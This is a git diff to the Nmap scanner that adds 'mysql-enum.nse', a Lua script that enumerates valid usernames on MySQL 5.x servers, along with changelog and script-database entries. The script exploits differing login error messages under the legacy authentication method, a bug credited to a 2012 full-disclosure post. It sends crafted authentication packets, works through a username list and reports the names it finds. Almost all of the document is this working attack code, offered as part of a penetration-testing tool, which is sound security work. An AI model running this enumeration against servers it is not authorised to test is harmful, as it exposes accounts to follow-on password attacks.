diff --git a/CHANGELOG b/CHANGELOG index 3db7aaa73..f7a98ea93 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added mysql-enum script which enumerates valid mysql server + usernames [Aleksandar Nikolic] + o [Nsock] Reworked the logging infrastructure to make it more flexible and consistent. Updated nmap, nping and ncat accordingly. Nsock log level can now be adjusted at runtime by pressing d/D in nmap. diff --git a/scripts/mysql-enum.nse b/scripts/mysql-enum.nse new file mode 100644 index 000000000..452488e3a --- /dev/null +++ b/scripts/mysql-enum.nse @@ -0,0 +1,109 @@ +local brute = require "brute" +local creds = require "creds" +local mysql = require "mysql" +local nmap = require "nmap" +local shortport = require "shortport" +local stdnse = require "stdnse" + +local openssl = stdnse.silent_require "openssl" + +description = [[ +Performs valid user enumeration against MySQL server. + +Server version 5.x are succeptible to an user enumeration +attack due to different messages during login when using +old authentication mechanism from versions 4.x and earlier. + +Original bug discovered and published by Kingcope: +http://seclists.org/fulldisclosure/2012/Dec/9 + +]] + +--- +-- @usage +-- nmap --script=mysql-enum +-- +-- @output +-- PORT STATE SERVICE REASON +-- 3306/tcp open mysql syn-ack +-- | mysql-enum: +-- | Accounts +-- | admin: - Valid credentials +-- | test: - Valid credentials +-- | test_mysql: - Valid credentials +-- | Statistics +-- |_ Performed 11 guesses in 1 seconds, average tps: 11 + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"intrusive", "brute"} + +portrule = shortport.port_or_service(3306, "mysql") + +local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or 5 + +Driver = { + + new = function(self, host, port) + local o = {} + setmetatable(o, self) + self.__index = self + o.host = host + o.port = port + return o + end, + + connect = function( self ) + self.socket = nmap.new_socket() + local status, err = self.socket:connect(self.host, self.port) + self.socket:set_timeout(tonumber(arg_timeout) * 1000) + if(not(status)) then + return false, brute.Error:new( "Couldn't connect to host: " .. err ) + end + return true + end, + + login = function (self, user, pass) -- pass is actually the username we want to try + local status, response = mysql.receiveGreeting(self.socket) + if(not(status)) then + if string.find(response,"is blocked because of many connection errors") then + local err = brute.Error:new( response ) + err:setAbort( true ) + return false, err + end + return false,brute.Error:new(response) + end + stdnse.print_debug( "Trying %s ...", pass) + local auth_string = bin.pack("H","0000018d00000000") .. pass .. bin.pack("H","00504e5f5155454d4500"); -- old authentication method + status, err = self.socket:send(bin.pack("c",string.len(auth_string)-3) .. auth_string) --send initial auth + status, response = self.socket:receive_bytes(0) + if not status then + return false,brute.Error:new( "Incorrect username" ) + end + if string.find(response,"Access denied for user") == nil then + -- found it + return true, brute.Account:new( pass, nil, creds.State.VALID) + else + return false,brute.Error:new( "Incorrect username" ) + end + end, + + disconnect = function( self ) + self.socket:close() + return true + end + +} + +action = function( host, port ) + + local status, result + local engine = brute.Engine:new(Driver, host, port) + engine.options:setOption("passonly", true ) + engine:setPasswordIterator(brute.usernames_iterator()) + engine.options.script_name = SCRIPT_NAME + engine.options:setTitle("Valid usernames") + status, result = engine:start() + + return result +end diff --git a/scripts/script.db b/scripts/script.db index 75e87cacd..1e7b4dff4 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -275,6 +275,7 @@ Entry { filename = "mysql-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "mysql-databases.nse", categories = { "discovery", "intrusive", } } Entry { filename = "mysql-dump-hashes.nse", categories = { "auth", "discovery", "safe", } } Entry { filename = "mysql-empty-password.nse", categories = { "auth", "intrusive", } } +Entry { filename = "mysql-enum.nse", categories = { "brute", "intrusive", } } Entry { filename = "mysql-info.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "mysql-query.nse", categories = { "auth", "discovery", "safe", } } Entry { filename = "mysql-users.nse", categories = { "auth", "intrusive", } }